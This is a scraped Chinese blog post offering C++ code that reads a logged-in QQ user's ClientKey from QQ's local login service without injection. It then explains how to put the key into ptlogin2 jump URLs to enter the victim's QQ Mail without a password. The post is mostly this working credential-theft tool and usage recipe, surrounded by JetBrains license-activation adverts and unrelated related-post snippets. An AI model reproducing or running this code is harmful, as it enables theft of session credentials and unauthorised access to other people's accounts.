读取QQ ClientKey C++版本[通俗易懂]

读取QQ ClientKey C++版本[通俗易懂]不需要注入,读取QQClientKeyC++版本#include”stdafx.h”#include<string>#include<windows.h>#include<iostream>#include<WinInet.h>#pragmacomment(lib,”wininet.lib”)usingnamespaces…

大家好,又见面了,我是你们的朋友全栈君。如果您正在找激活码,请点击查看最新教程,关注关注公众号 “全栈程序员社区” 获取激活教程,可能之前旧版本教程已经失效.最新Idea2022.1教程亲测有效,一键激活。

Jetbrains全家桶1年46,售后保障稳定

c++模拟会话登录,访问QQ的SSO,读取ClientKey,不需要注入,读取QQ ClientKey C++版本

在这里插入图片描述
需要注意的是,这种方法获取的clientkey长度是224位,和之前注入dll获取的不一样。

注入dll获取的是64位的clientkey

利用方法:
64字节: http://ptlogin2.qq.com/jump?ptlang=2052&clientuin=QQ号码&clientkey=64个字节的KEY&u1=需要登陆的QQ服务网站地址
224字节: http://ptlogin2.qq.com/jump?clientuin=QQ号&clientkey=224位字节的KEY&keyindex=9&u1=需要登陆的QQ服务网站地址

例如,我想利用224字节的key,无密进入qq邮箱

用浏览器访问下面构造的地址,成功后会返回一个地址,复制再访问,就直接进入QQ邮箱了
http://ptlogin2.qq.com/jump?clientuin=QQ号&clientkey=224字节key&keyindex=9&u1=https%3A%2F%2Fmail.qq.com%2Fcgi-bin%2Flogin%3Fvt%3Dpassport%26vm%3Dwpt%26ft%3Dloginpage%26target%3D&pt_local_tk=&pt_3rd_aid=0&ptopt=1&style=25

在这里插入图片描述

#include "stdafx.h"
#include<string>
#include<windows.h>
#include<iostream>
#include <WinInet.h>
#pragma comment(lib,"wininet.lib")
using namespace std;

char URL_STRING[] = "https://xui.ptlogin2.qq.com/cgi-bin/xlogin?appid=636014201&s_url=http://www.qq.com/qq2012/loginSuccess.htm&style=20&border_radius=1&target=self&maskOpacity=40";

int _tmain(int argc, _TCHAR* argv[])
{ 
   

	// 初始化URL
	URL_COMPONENTSA crackedURL = { 
    0 };
	char szHostName[128];
	char szUrlPath[256];
	crackedURL.dwStructSize = sizeof(URL_COMPONENTSA);
	crackedURL.lpszHostName = szHostName;
	crackedURL.dwHostNameLength = ARRAYSIZE(szHostName);
	crackedURL.lpszUrlPath = szUrlPath;
	crackedURL.dwUrlPathLength = ARRAYSIZE(szUrlPath);
	InternetCrackUrlA(URL_STRING, (DWORD)strlen(URL_STRING), 0, &crackedURL);

	// 初始化会话
	HINTERNET hInternet = InternetOpenA("Microsoft Internet Explorer", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
	HINTERNET hHttpSession = InternetConnectA(hInternet, crackedURL.lpszHostName, INTERNET_DEFAULT_HTTPS_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);
	HINTERNET hHttpRequest = HttpOpenRequestA(hHttpSession, "GET", crackedURL.lpszUrlPath, NULL, "", NULL, INTERNET_FLAG_SECURE, 0);

	// 发送HTTP请求
	HttpSendRequest(hHttpRequest, NULL, 0, NULL, 0);

	// 查询HTTP请求状态
	DWORD dwRetCode = 0;
	DWORD dwSizeOfRq = sizeof(DWORD);
	BOOL bRet = FALSE;
	bRet = HttpQueryInfo(hHttpRequest, HTTP_QUERY_STATUS_CODE | HTTP_QUERY_FLAG_NUMBER, &dwRetCode, &dwSizeOfRq, NULL);

	// 读取整个Headers
	char lpHeaderBuffer[1024] = { 
   0};
	dwSizeOfRq = 1024;
	bRet = HttpQueryInfo(hHttpRequest, HTTP_QUERY_RAW_HEADERS, lpHeaderBuffer, &dwSizeOfRq, NULL);

	// 从Cookie中提取pt_local_token的值
	char* pt_local_token = lpHeaderBuffer + dwSizeOfRq;
	while (pt_local_token != lpHeaderBuffer)
	{ 
   
		if (strstr(pt_local_token, "pt_local_token="))
		{ 
   
			// 退出之前,修正偏移
			pt_local_token += sizeof("pt_local_token");
			char* pEndBuffer = strstr(pt_local_token, ";");
			*pEndBuffer = 0;
			break;
		}
		pt_local_token--;
	}

	// 关闭句柄,只需要释放下面两个,注意关闭时按相反的顺序
	InternetCloseHandle(hHttpRequest);
	InternetCloseHandle(hHttpSession);


	/* 第二次建立会话 */

	// 初始化URL参数
	char lpszUrlPath[MAX_PATH] = "/pt_get_uins?callback=ptui_getuins_CB&pt_local_tk=";
	strcat(lpszUrlPath, pt_local_token); // url末尾追加pt_local_token

	// 初始化会话
	hHttpSession = InternetConnectA(hInternet, "localhost.ptlogin2.qq.com", 4301, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);
	hHttpRequest = HttpOpenRequestA(hHttpSession, "GET", lpszUrlPath, NULL, "", NULL, INTERNET_FLAG_SECURE, 0);

	// 发送HTTP请求,添加头信息
	char* lpHeaders = "Referer:https://xui.ptlogin2.qq.com/cgi-bin/xlogin?appid=636014201&s_url=http%3A%2F%2Fwww.qq.com%2Fqq2012%2FloginSuccess.htm";
	HttpSendRequestA(hHttpRequest, lpHeaders, strlen(lpHeaders), NULL, 0);

	// 查询HTTP请求状态
	dwRetCode = 0;
	dwSizeOfRq = sizeof(DWORD);
	bRet = HttpQueryInfo(hHttpRequest, HTTP_QUERY_STATUS_CODE | HTTP_QUERY_FLAG_NUMBER, &dwRetCode, &dwSizeOfRq, NULL);

	// 获取返回数据的大小
	DWORD dwNumberOfBytesAvailable = 0;
	bRet = InternetQueryDataAvailable(hHttpRequest, &dwNumberOfBytesAvailable, NULL, NULL);

	// 读取网页内容
	char* lpBuffer = new char[dwNumberOfBytesAvailable]();
	bRet = InternetReadFile(hHttpRequest, lpBuffer, dwNumberOfBytesAvailable, &dwNumberOfBytesAvailable);

	// 从内容中提取已登陆QQ账号,是个js数组,这里只提取第一个
	char* uin = lpBuffer + dwNumberOfBytesAvailable;
	while (uin != lpBuffer)
	{ 
   
		if (strstr(uin, "\"account\":\""))
		{ 
   
			// 退出之前,修正偏移
			uin += sizeof("\"account\":");
			char* pEndBuffer = strstr(uin, "\"");
			*pEndBuffer = 0;
			break;
		}
		uin--;
	}

	cout << "[+] uin:" << uin << endl;

	// 释放资源,注意关闭句柄时按相反的顺序
	InternetCloseHandle(hHttpRequest);
	InternetCloseHandle(hHttpSession);


	/* 第三次会话 */

	// 初始化URL参数
	ZeroMemory(lpszUrlPath,MAX_PATH);
	strcat(lpszUrlPath, "/pt_get_st?clientuin=");
	strcat(lpszUrlPath, uin);
	strcat(lpszUrlPath, "&callback=ptui_getst_CB&pt_local_tk=");
	strcat(lpszUrlPath, pt_local_token);


	// 发送HTTPS请求
	hHttpSession = InternetConnectA(hInternet, "localhost.ptlogin2.qq.com", 4301, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);
	hHttpRequest = HttpOpenRequestA(hHttpSession, "GET", lpszUrlPath, NULL, "", NULL, INTERNET_FLAG_SECURE, 0);

	// 添加头信息
	lpHeaders = "Referer:https://xui.ptlogin2.qq.com/cgi-bin/xlogin?appid=636014201&s_url=http%3A%2F%2Fwww.qq.com%2Fqq2012%2FloginSuccess.htm";
	HttpSendRequestA(hHttpRequest, lpHeaders, strlen(lpHeaders), NULL, 0);

	// 查询HTTP请求状态
	dwRetCode = 0;
	dwSizeOfRq = sizeof(DWORD);
	bRet = HttpQueryInfoA(hHttpRequest, HTTP_QUERY_STATUS_CODE | HTTP_QUERY_FLAG_NUMBER, &dwRetCode, &dwSizeOfRq, NULL);

	// 读取整个Headers
	ZeroMemory(lpHeaderBuffer, 1024);
	dwSizeOfRq = 1024;
	bRet = HttpQueryInfoA(hHttpRequest, HTTP_QUERY_RAW_HEADERS, lpHeaderBuffer, &dwSizeOfRq, NULL);

	// 从Cookie中提取ClientKey的值
	char* clientkey = lpHeaderBuffer + dwSizeOfRq;
	while (clientkey != lpHeaderBuffer)
	{ 
   
		if (strstr(clientkey, "clientkey="))
		{ 
   
			// 退出之前,修正偏移
			clientkey += sizeof("clientkey");
			char* pEndBuffer = strstr(clientkey, ";");
			*pEndBuffer = 0;
			break;
		}
		clientkey--;
	}

	cout << "[+] client key:" << clientkey << endl;

	InternetCloseHandle(hHttpRequest);
	InternetCloseHandle(hHttpSession);
	InternetCloseHandle(hInternet);
	delete[] lpBuffer;


	return 0;
}





Jetbrains全家桶1年46,售后保障稳定

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员-用户IM,转载请注明出处:https://javaforall.cn/201364.html原文链接:https://javaforall.cn

【正版授权,激活自己账号】: Jetbrains全家桶Ide使用,1年售后保障,每天仅需1毛

【官方授权 正版激活】: 官方授权 正版激活 支持Jetbrains家族下所有IDE 使用个人JB账号...

(0)


相关推荐

  • double 转BigDecimal 丢失精度问题解决

    double 转BigDecimal 丢失精度问题解决错误方式BigDecimalbigDecimal=newBigDecimal(0.11D);logger.info(“bigDecimal====”+bigDecimal);//bigDecimal0.11000000000000000055511151231257827021181583404541015625正确方式:BigDecimalbigDecimal1=bigDecimal.valueOf(0.11D);logger.info(“bigDecimal1″+bigDeci

  • 数组 python_python没有数组

    数组 python_python没有数组python数组PythonArraycontainsasequenceofdata.Inpythonprogramming,thereisnoexclusivearrayobjectbecausewecanperformallthearrayoperationsusinglist.Todaywewilllearnaboutpython…

  • 自己动手,丰衣足食。普通键盘实现键盘宏(Windows和Mac版)「建议收藏」

    自己动手,丰衣足食。普通键盘实现键盘宏(Windows和Mac版)「建议收藏」很多高端机械键盘,支持宏定义,例如我们可以设置”D”键为”dota”,这样当我们按一下宏开启键,再按一下”D”键,就等价于分别按了”d””o””t””a”四个键。这时就可以把一些敲代码时常用的模板定义成键盘宏,到时候一键补全代码,既高效又装X。另外,玩游戏时想按出“下前下前拳”这样的组合技能也容易多了。那么问题来了。。山里来的买不起机械键盘的穷B同时又是程序员应该怎么办。。其实这…

    2022年10月28日
  • 1.1 PCI&PCIE 配置寄存器访问

    1.1 PCI&PCIE 配置寄存器访问1、PCIE寄存器的总体结构:PCI的配置寄存器空间为256个字节大小。PCIE扩展了配置寄存器空间,大小为4096的字节。PCIE配置寄存器的整体分布如下图所示:从上图可见,整个PCIE配置空间被分成了3部分,其中0-FF为PCI兼容的配置空间,100-FFF为PCIE扩展的空间。每部分的作用大概如下:a、0-3F:这部分的配置空间是标准的PCI配置空间头,是每个PCI/PCIE设备都必

  • 如何通过SecureCRTPortable.exe 软件远程连接某个计算机(或者虚拟机)中的某个数据库…

    如何通过SecureCRTPortable.exe 软件远程连接某个计算机(或者虚拟机)中的某个数据库…1)双击SecureCRTPortable.exe-快捷方式,打开软件;2)”文件”—>”快速连接”–>弹出对话框;2.1)输入主机名(即您所想连接的计算机或虚拟机)的ip号:例如:192.168.0.1132.2)输入用户名(指的是计算机(或者是虚拟机)中的某个用户,因为一个计算机或…

  • 安捷伦示波器使用说明书_安捷伦信号发生器使用方法

    安捷伦示波器使用说明书_安捷伦信号发生器使用方法本帖最后由god_blessme于2017-9-1913:45编辑小弟最近在搞一个程序,是要读取安捷伦示波器每一屏数据并储存,网上貌似对于tek示波器连接的比较多,安捷伦的超级少,所以大部分是自己看着改的命令,现在碰到的问题很奇葩,运行程序后一个figure显示的数据是正确的,一个figure显示的是错误的。然而我在循环里把waveform_YIncrement变量的注释去掉的话,fig…

    2022年10月12日

发表回复

您的电子邮箱地址不会被公开。

关注全栈程序员社区公众号